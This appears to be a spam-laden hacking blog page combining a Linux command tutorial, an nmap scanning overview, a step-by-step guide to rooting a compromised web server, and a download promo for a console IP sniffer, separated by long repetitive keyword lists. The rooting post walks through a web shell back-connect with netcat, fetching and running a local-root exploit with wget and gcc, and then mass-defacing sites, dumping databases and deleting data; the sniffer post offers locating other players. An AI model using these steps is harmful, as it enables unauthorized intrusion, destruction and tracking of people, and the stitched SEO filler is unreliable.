jueves, 18 de enero de 2024

Linux Command Line Hackery Series - Part 3


Welcome back, hope you are enjoying this series, I don't know about you but I'm enjoying it a lot. This is part 3 of the series and in this article we're going to learn some new commands. Let's get started

Command: w
Syntax:      w
Function:   This simple function is used to see who is currently logged in and what they are doing, that is, their processes.

Command:  whoami
Syntax:       whoami
Function: This is another simple command which is used to print  the  user  name  associated  with the current effective user ID.

Try it and it will show up your user name.

If you want to know information about a particular user no matter whether it is you or someone else there is a command for doing that as well.

Command: finger
Syntax:      finger [option] [username]
Function:   finger is a user information lookup program. The [] around the arguments means that these arguments are optional this convention is used everywhere in this whole series.

In order to find information about your current user you can simply type:

finger username

Here username is your current username.
To find information about root you can type:

finger root

and it will display info about root user.

Command: uname
Syntax:      uname [options]
Function:   uname is used to display information about the system.

uname is mostly used with the flag -a, which means display all information like this:

uname -a

Command: df
Syntax:      df [option] [FILE ...] 
Function:   df is used to display the amount of space available.
If you type df in your terminal and then hit enter you'll see the used and available space of every drive currently mounted on the system. However the information is displayed in block-size, which is not so much human friendly. But don't worry we can have a human friendly output as well using df by typing:

df -h

the -h flag is used to display the used and available space in a more user friendly format.
We can also view the info of a single drive by specifying the drive name after df like this:

df -h /dev/sda2

That's it for now about df, let's move on.

Command:  free
Syntax:       free [options]
Function:    free is used to display the amount of free and used physical memory and swap memory in the system.
Again the displayed information is in block-size to get a more human readable format use the -h flag like this:

free -h

Command: cal
Syntax:      cal [options]
Function:    cal stands for calendar. It is used to display the calendar.

If you want to display current date on the calendar you can simply type:

cal

and wohooo! you get a nice looking calendar on screen with current date marked but what if you want to display calendar of a previous month well you can do that as well. Say you want to display calendar of Jan 2010, then you'll have to type:

cal -d 2010-01

Nice little handy tool, isn't it?

Command: file
Syntax:      file filename ...
Function:   file is an awesome tool, it's used to classify a file. It is used to determine the file type.

Let's demonstrate the usage of this command by solving a Noob's CTF challenge using file and base64 commands. We'll talk about base64 command in a bit. Go to InfoSecInstitute CTF Website. What you need to do here is to save the broken image file on your local computer in your home directory. After saving the file open your terminal (if it isn't already). Move to your home directory and then check what type of file it is using the file command:

cd
file image.jpg

Shocking output? The file command has identified the above file as an ASCII text file which means the above file is not an image file rather it is a text file now it's time to see it's contents so we'll type:

cat image.jpg

What is that? It's some kind of gibberish. Well it's base64 encoded text. We need to decode it. Let's learn how to do that.

Command: base64
Syntax:       base64 [option] FILE ...
Function:    base64 command is used to encode/decode data and then print it to stdout.

If we're to encode some text in base64 format we'd simply type base64 hit enter and then start typing the text in the terminal after you're done hit enter again and then press CTRL+D like this:

base64
some text here
<CTRL+D>
c29tZSB0ZXh0IGhlcmUK        # output - the encoded string

But in the above CTF we've got base64 encoded data we need to decode it, how are we going to do that? It's simple:

base64 -d image.jpg

There you go you've captured the flag.
The -d flag here specifies that we want to decode instead of encode and after it is the name of file we want to decode.

Voila!
So now you're officially a Hacker! Sorry no certificates available here :)

That's it for this article meet ya soon in the upcoming article.
More info
  1. Pentest Box Tools Download
  2. Hacker Hardware Tools
  3. Hacker Tools For Ios
  4. Hackrf Tools
  5. Hacker Tools Github
  6. Hacking Tools For Kali Linux
  7. What Are Hacking Tools
  8. Kik Hack Tools
  9. Pentest Reporting Tools
  10. Hack Tool Apk No Root
  11. Best Pentesting Tools 2018
  12. Hacker Tools Github
  13. Pentest Tools Framework
  14. Pentest Tools Free
  15. Pentest Tools Android
  16. Pentest Tools Linux
  17. Hack Website Online Tool
  18. Hacking Tools Windows
  19. Hacking Tools Usb
  20. Hak5 Tools
  21. Hack Tools Github
  22. Hacking Tools For Pc
  23. Hack App
  24. Best Pentesting Tools 2018
  25. Hacker Tools Github
  26. Hacker Tools Online
  27. New Hack Tools
  28. Hacker Tools Windows
  29. Pentest Tools Windows
  30. How To Install Pentest Tools In Ubuntu
  31. What Is Hacking Tools
  32. Pentest Tools Linux
  33. Hack Tool Apk
  34. Wifi Hacker Tools For Windows
  35. Hacker Tools 2019
  36. Hacking Tools For Games
  37. Hacking Tools
  38. Hacking Tools Windows 10
  39. Hacker Tools Software
  40. Hack Tools 2019
  41. Game Hacking
  42. Easy Hack Tools
  43. Pentest Tools Website Vulnerability
  44. Pentest Tools Website Vulnerability
  45. Computer Hacker
  46. Hacker Tools Mac
  47. Pentest Tools Port Scanner
  48. Usb Pentest Tools
  49. Hacking Tools For Pc
  50. Hacker Hardware Tools
  51. Pentest Tools Subdomain
  52. Bluetooth Hacking Tools Kali
  53. Hacker Hardware Tools
  54. Android Hack Tools Github
  55. Hacker Tools Hardware
  56. Hacker Tools 2019
  57. Pentest Tools Port Scanner
  58. Github Hacking Tools
  59. Pentest Tools Subdomain
  60. Hack Tools For Pc
  61. Hacker Techniques Tools And Incident Handling
  62. Hack Tools For Games
  63. Hacker Security Tools
  64. Hack Tools Online
  65. Hacking Tools Download
  66. How To Hack
  67. Hacks And Tools
  68. Nsa Hack Tools Download
  69. Growth Hacker Tools
  70. Termux Hacking Tools 2019
  71. Hacker Tools Hardware
  72. Hacker Tools Mac
  73. Bluetooth Hacking Tools Kali
  74. Hacker Tools Free Download
  75. Hacker Tools For Mac
  76. Pentest Tools Bluekeep
  77. Nsa Hack Tools Download
  78. Physical Pentest Tools
  79. Hacking Tools For Mac
  80. Hacking Tools 2019
  81. Kik Hack Tools
  82. Pentest Tools Bluekeep
  83. Hack Tool Apk
  84. Termux Hacking Tools 2019
  85. Hacking Tools For Beginners
  86. Hack Tools For Windows
  87. Pentest Tools Find Subdomains

CEH: Identifying Services & Scanning Ports | Gathering Network And Host Information | NMAP


CEH scanning methodology is the important step i.e. scanning for open ports over a network. Port is the technique used to scan for open ports. This methodology performed for the observation of the open and close ports running on the targeted machine. Port scanning gathered a valuable information about  the host and the weakness of the system more than ping sweep.

Network Mapping (NMAP)

Basically NMAP stands for Network Mapping. A free open source tool used for scanning ports, service detection, operating system detection and IP address detection of the targeted machine. Moreover, it performs a quick and efficient scanning a large number of machines in a single session to gathered information about ports and system connected to the network. It can be used over UNIX, LINUX and Windows.

There are some terminologies which we should understand directly whenever we heard like Open ports, Filtered ports and Unfiltered ports.

Open Ports means the target machine accepts incoming request on that port cause these ports are used to accept packets due to the configuration of TCP and UDP.

Filtered ports means the ports are usually opened but due to firewall or network filtering the nmap doesn't detect the open ports.

Unfiltered means the nmap is unable to determine whether the port is open or filtered  while the port is accessible.

Types Of NMAP Scan


Scan Type Description
Null Scan This scan is performed by both an ethical hackers and black hat hackers. This scan is used to identify the TCP port whether it is open or closed. Moreover, it only works over UNIX  based systems.
TCP connect The attacker makes a full TCP connection to the target system. There's an opportunity to connect the specifically port which you want to connect with. SYN/ACK signal observed for open ports while RST/ACK signal observed for closed ports.
ACK scan Discovering the state of firewall with the help ACK scan whether it is stateful or stateless. This scan is typically used for the detection of filtered ports if ports are filtered. Moreover, it only works over the UNIX based systems.
Windows scan This type of scan is similar to the ACK scan but there is ability to detect an open ports as well filtered ports.
SYN stealth scan This malicious attack is mostly performed by attacker to detect the communication ports without making full connection to the network.
This is also known as half-open scanning. 

 

All NMAP Commands 


Commands Scan Performed
-sT TCP connect scan
-sS SYN scan
-sF FIN scan
-sX XMAS tree scan
-sN Null scan
-sP Ping scan
-sU UDP scan
-sO Protocol scan
-sA ACK scan
-sW Window scan
-sR RPC scan
-sL List/DNS scan
-sI Idle scan
-Po Don't ping
-PT TCP ping
-PS SYN ping
-PI ICMP ping
-PB ICMP and TCP ping
-PB ICMP timestamp
-PM ICMP netmask
-oN Normal output
-oX XML output
-oG Greppable output
-oA All output
-T Paranoid Serial scan; 300 sec between scans
-T Sneaky Serial scan; 15 sec between scans
-T Polite Serial scan; .4 sec between scans
-T Normal Parallel scan
-T Aggressive Parallel scan, 300 sec timeout, and 1.25 sec/probe
-T Insane Parallel scan, 75 sec timeout, and .3 sec/probe

 

How to Scan

You can perform nmap scanning over the windows command prompt followed by the syntax below. For example, If you wanna scan the host with the IP address 192.168.2.1 using a TCP connect scan type, enter this command:

nmap 192.168.2.1 –sT

nmap -sT 192.168.2.1

Read more


  1. Pentest Tools For Windows
  2. Hack Tools For Mac
  3. Hacking Tools Online
  4. Pentest Tools For Mac
  5. Computer Hacker
  6. Hack Tools For Games
  7. Blackhat Hacker Tools
  8. Hack Tools For Ubuntu
  9. How To Make Hacking Tools
  10. Hacking Tools For Windows
  11. Hacker Techniques Tools And Incident Handling
  12. Physical Pentest Tools
  13. Hacker Tools Free
  14. Pentest Tools Review
  15. Pentest Tools Bluekeep
  16. Easy Hack Tools
  17. Pentest Tools Online
  18. Bluetooth Hacking Tools Kali
  19. Hacker Tools List
  20. What Are Hacking Tools
  21. Hacker Hardware Tools
  22. Hacking Tools Mac
  23. Ethical Hacker Tools
  24. Hacker Tools List
  25. New Hacker Tools
  26. Hacker Tools For Windows
  27. Hack Rom Tools
  28. Pentest Tools Android
  29. Easy Hack Tools
  30. Pentest Tools Subdomain
  31. Ethical Hacker Tools
  32. Black Hat Hacker Tools
  33. Hacking Tools Free Download
  34. Pentest Tools Website Vulnerability
  35. Hacker Search Tools
  36. Pentest Tools Bluekeep
  37. Android Hack Tools Github
  38. Pentest Tools Bluekeep
  39. Hack Tools
  40. Computer Hacker
  41. Best Hacking Tools 2020
  42. Physical Pentest Tools
  43. Pentest Tools Free
  44. Free Pentest Tools For Windows
  45. Best Hacking Tools 2020
  46. Hacking App
  47. Pentest Tools
  48. Hacking Tools For Beginners
  49. Hacker Tools Linux
  50. Hacker Tools Apk
  51. Hacker Tools
  52. Pentest Tools Subdomain
  53. Hacker Tools Software
  54. Free Pentest Tools For Windows
  55. Hack App
  56. Hack And Tools
  57. Hack Tools
  58. Hack Tool Apk No Root
  59. Pentest Tools For Mac
  60. Underground Hacker Sites
  61. Hacker Tools Apk
  62. Hacking Tools Name
  63. Hacker Tools 2019
  64. Hacker
  65. How To Make Hacking Tools
  66. Pentest Tools List
  67. Hacker Tools 2019
  68. Hack Tools Download
  69. Pentest Tools Website Vulnerability
  70. Termux Hacking Tools 2019
  71. Hak5 Tools
  72. Pentest Tools Framework
  73. Hacker Tools Apk Download
  74. Hacker Tools For Windows
  75. Hack Tools Pc
  76. Hak5 Tools
  77. Hack Tool Apk
  78. Hack And Tools
  79. Nsa Hack Tools Download
  80. Hacking Tools 2019
  81. Pentest Reporting Tools

HOW TO ROOT A SERVER? – SERVER ROOTING

Servers serve the requests made by the users to the web pages, it acts as a helping hand who serves the requested meal for you. Here I am sharing how to root a server. Root is the Administrator of all server. If someone got root access to it, he can do anything with a server like delete and copy anything on the server, can deface all the websites (massive deface ).
We can't talk about root on windows. That enough for a beginner because if I talk about the root I need another book. So, I guess now we know the importance of root access and why we try to get root.

HOW TO ROOT A SERVER?

There are 3 ways to get ROOT on the server :
1 – With local Root.
2 – With SQL by reading the same important files on it root password.
3 – With exploit on software (Buffer Overflow).
In this post, we will explain local Root. I will explain the other ways soon in some other post.
OK, let's back to work.
After Uploading your shell on the server and getting the local root you will do a back connect and run the local root to Get root. This is a small idea of how it works in the next step you will see how to
find local root and run it to get root access.

HOW TO SEARCH LOCAL ROOT?

First of all we you need to know what version of Kernel.
You can know that from your shell, for example, this version is 2.6.18 – 2012
Go to EXECUTE on your shell and write  "uname -a". You will get the same result, by the way.
Now how to find the local root.
You can use various websites like Exploit-db, packetstormsecurity, vfocus, injector, etc who provides these local roots. One more thing to notice is, that there exist two types of local roots :
1. Local.C: which are not ready.
2. Local: ready to use.

HOW TO GET ROOT ACCESS?

First, you need a shell with a Back Connect option like this :
Enter your "Public IP Address" in SERVER, the port you want to connect on and leave it, Perl, this time, and Finally connect.
So now you must receive the back connect with a Tool named netcat u can download it from the
net. After that open your terminal if you are under Linux or CMD  if you are under Windows. I will explain only Linux, and for Windows, its all the same.
After that Follow the steps :
1- Press nc -vlp 433
2- Wget [the link of the local-Root.zip]
3 – unzip local-Root.zip

4 – chmod 777 local.c

5 – now to change the local-root from local.c > local
gcc local.c -o local Then you will find local.c transformed to local

6 – chmod 777 local

7 – ./local to local rootwork

8 – su
then see your id uid=0(root) gid=0(root) groups=0(root)


Getting UID=0 means, u had got root privileges and hence can do a variety of stuff on the remote server say Mass deface, dump database, redirect sites, change content, etc etc.
AFTER THE ROOT 
As server gets rooted, you're able to do the many things with it like I mentioned above. Such as, withdrawal of domains, massive deface and also deletion of the data completely.
Continue reading

miércoles, 17 de enero de 2024

DOWNLOAD OCTOSNIFF 2.0.3 FULL VERSION – PLAYSTATION AND XBOX IP SNIFFER

OctoSniff is a network research tool that allows you to determine information about all the other players you're playing with. It is compatible with PS, XBox 360 and XBox One. It has many other features that make it a great sniffing tool. Some people think it might be a tool like Wireshark or Cain n Abel. No, it's not a tool like that. It simply sniffs players that let you know who's really playing. Download OctoSniff 2.0.3 full version. It's only for educational purposes to use.

FEATURES

  • VPN Optimized
  • Supports Wireless & Wired Spoofing
  • Detects Geo IP and Complete Location
  • Searches Usernames of Players in the Lobby
  • Really easy to setup

DOWNLOAD OCTOSNIFF 2.0.3 FULL VERSION

More information